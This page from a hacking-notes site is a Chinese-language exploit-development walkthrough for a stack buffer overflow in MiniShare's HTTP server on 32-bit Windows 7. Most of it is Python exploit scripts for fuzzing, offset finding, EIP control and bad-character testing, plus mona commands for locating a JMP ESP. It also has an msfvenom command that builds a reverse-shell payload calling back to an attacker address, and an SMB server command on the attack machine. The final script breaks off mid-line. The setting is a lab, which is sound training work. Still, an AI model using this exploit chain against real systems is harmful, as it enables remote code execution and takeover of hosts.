> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/useful-resources/exploit-development/windows-buffer-overflow-minishare.md). # Windows 缓冲区溢出 - MiniShare

缓冲区溢出环境安装

1. 下载该虚拟机 [Windows 7 Basic 32 位](https://lecrabeinfo.net/telecharger/windows-7-edition-familiale-basique-sp1-x86): 2. 在虚拟机中，下载 [调试器 ](https://www.immunityinc.com/products/debugger/): 3. 安装好之后，在终端中执行以下命令： ```bash bcdedit.exe /set {current} nx AlwaysOff ``` 4. 复制这个 [脚本 ](https://www.immunityinc.com/products/debugger/)到 a.py 文件中： 5. 将脚本粘贴到 `c:/Program Files/Immunity Inc/Immunity Debugger/PyCommands` 6. 最后，安装 [MiniShare](https://sourceforge.net/projects/minishare/files/latest/download) ![](/files/20fdb581e3a03a9d6b05e848a67b3c2925bcee9b)

* 在 Immunity Debugger 中，我们附加 MiniShare：

* 现在我们将进行 fuzzing，以找出字节数： ```python #!/usr/bin/python3 from struct import pack import socket import sys ip_address = "192.168.71.139" port = 80 def exploit(): total_length = 100 while True: try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(7) s.connect((ip_address, port)) print("/n[+] 发送 %d 字节" % total_length) s.send(b"GET " + b"/x41" * total_length + b" HTTP/1.1/r/n/r/n") s.recv(1024) s.close() total_length += 100 except: print("/n[!] 服务似乎已经崩溃/n") print("/n[i] 服务在发送总计 %d 字节后崩溃了" % total_length) sys.exit(1) if __name__ == '__main__': exploit() ```

* 使用以下命令，我们得到 1800 个字节： ``` /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1800 ```

* 我们将脚本更新如下： ```python #!/usr/bin/python3 from struct import pack import socket import sys ip_address = "192.168.71.139" port = 80 payload = b'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3A f4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al 2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0 Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8A w9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc 7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5 Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3B o4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu 2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0 Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8C f9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9' def exploit(): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(7) s.connect((ip_address, port)) s.send(b"GET " + payload + b" HTTP/1.1/r/n/r/n") s.recv(1024) s.close() except: print("/n[!] 服务似乎已经崩溃/n") sys.exit(1) if __name__ == '__main__': exploit() ``` / /- 需要复制 EIP：

* 我们在脚本中通过在开头加上 0x 来粘贴它： ``` /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x36684335 ``` * 它告诉我们这对应于 1787：

* 现在看看我们是否能够控制 EIP：
```python #!/usr/bin/python3 from struct import pack import socket import sys ip_address = "192.168.71.139" port = 80 offset = 1787 before_eip = b"A"*offset eip = b"B"*4 payload = before_eip + eip def exploit(): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(7) s.connect((ip_address, port)) s.send(b"GET " + payload + b" HTTP/1.1/r/n/r/n") s.recv(1024) s.close() except: print("/n[!] 服务似乎已经崩溃/n") sys.exit(1) if __name__ == '__main__': exploit() ``` * 我们实际上成功控制了 EIP：

\*现在我们需要找出坏字符： ```python #!/usr/bin/python3 from struct import pack import socket import sys ip_address = "192.168.71.139" port = 80 offset = 1787 before_eip = b"A"*offset eip = b"B"*4 payload = before_eip + eip + b"C"*500 def exploit(): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(7) s.connect((ip_address, port)) s.send(b"GET " + payload + b" HTTP/1.1/r/n/r/n") s.recv(1024) s.close() except: print("/n[!] 服务似乎已经崩溃/n") sys.exit(1) if __name__ == '__main__': exploit() ``` * 我们对 ESP 系统进行“dump”监控。

* 使用此命令创建 bytearray 文件： ``` !mona bytearray -cpb '/x00' ```

* 在攻击机上，我们创建一个 SMB 服务器将文件传输给我们： ```bash impacket-smbserver smbFolder $(pwd) -smb2support ```

* 我们将其传输过去：

* 更新后的脚本： ```python #!/usr/bin/python3 from struct import pack import socket import sys ip_address = "192.168.71.139" port = 80 offset = 1787 before_eip = b"A"*offset eip = b"B"*4 badchars = (b"/x01/x02/x03/x04/x05/x06/x07/x08/x09/x0a/x0b/x0c/x0d/x0e/x0f/x10/x11/x12/x13/x14/x15/x16/x17/x18/x19/x1a/x1b/x1c/x1d/x1e/x1f/x20" b"/x21/x22/x23/x24/x25/x26/x27/x28/x29/x2a/x2b/x2c/x2d/x2e/x2f/x30/x31/x32/x33/x34/x35/x36/x37/x38/x39/x3a/x3b/x3c/x3d/x3e/x3f/x40" b"/x41/x42/x43/x44/x45/x46/x47/x48/x49/x4a/x4b/x4c/x4d/x4e/x4f/x50/x51/x52/x53/x54/x55/x56/x57/x58/x59/x5a/x5b/x5c/x5d/x5e/x5f/x60" b"/x61/x62/x63/x64/x65/x66/x67/x68/x69/x6a/x6b/x6c/x6d/x6e/x6f/x70/x71/x72/x73/x74/x75/x76/x77/x78/x79/x7a/x7b/x7c/x7d/x7e/x7f/x80" b"/x81/x82/x83/x84/x85/x86/x87/x88/x89/x8a/x8b/x8c/x8d/x8e/x8f/x90/x91/x92/x93/x94/x95/x96/x97/x98/x99/x9a/x9b/x9c/x9d/x9e/x9f/xa0" b"/xa1/xa2/xa3/xa4/xa5/xa6/xa7/xa8/xa9/xaa/xab/xac/xad/xae/xaf/xb0/xb1/xb2/xb3/xb4/xb5/xb6/xb7/xb8/xb9/xba/xbb/xbc/xbd/xbe/xbf/xc0" b"/xc1/xc2/xc3/xc4/xc5/xc6/xc7/xc8/xc9/xca/xcb/xcc/xcd/xce/xcf/xd0/xd1/xd2/xd3/xd4/xd5/xd6/xd7/xd8/xd9/xda/xdb/xdc/xdd/xde/xdf/xe0" b"/xe1/xe2/xe3/xe4/xe5/xe6/xe7/xe8/xe9/xea/xeb/xec/xed/xee/xef/xf0/xf1/xf2/xf3/xf4/xf5/xf6/xf7/xf8/xf9/xfa/xfb/xfc/xfd/xfe/xff") payload = before_eip + eip + badchars def exploit(): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(7) s.connect((ip_address, port)) s.send(b"GET " + payload + b" HTTP/1.1/r/n/r/n") s.recv(1024) s.close() except: print("/n[!] 服务似乎已经崩溃/n") sys.exit(1) if __name__ == '__main__': exploit() ``` * 我们将 ESP 中的内容发送回“dump”：

* 比较结果： ``` !mona compare -a 0x03C238D0 -f C:/Users/jordan/Desktop/Analysis/bytearray.bin ```

* 我们用不含不需要字符的文件覆盖它，并将其从脚本中移除： ```bash !mona bytearray -cpb '/x00/x0d' ```

* 如果我们再次比较，就不再有坏字符：

* 我们使用 `!mona modules` 该命令返回“false”。

* 如果使用以下命令，这里会得到一个错误，提示不存在指针： ``` !mona find -s '/xFF/xE4' -m minishare.exe ```

* 我们将此命令作为替代方案，找到 44 个，然后选择一个不包含不需要字符的： ``` !mona findwild -s "JMP ESP" ```

* 现在把脚本中 EIP 变量里的值改成前缀为“0x”且全部小写：

* 现在让我们生成反向 shell 的 shellcode： ```bash msfvenom -p windows/shell_reverse_tcp --platform windows -a x86 LHOST=192.168.71.128 LPORT=443 -e x86/shikata_ga_nai EXITFUNC=thread -f c -b '/x00/x0d' ```

* 更新后的脚本： ```python #!/usr/bin/python3 from struct import pack import socket import sys ip_address = "192.168.71.139" port = 80 offset = 1787 before_eip = b"A"*offset eip = pack("

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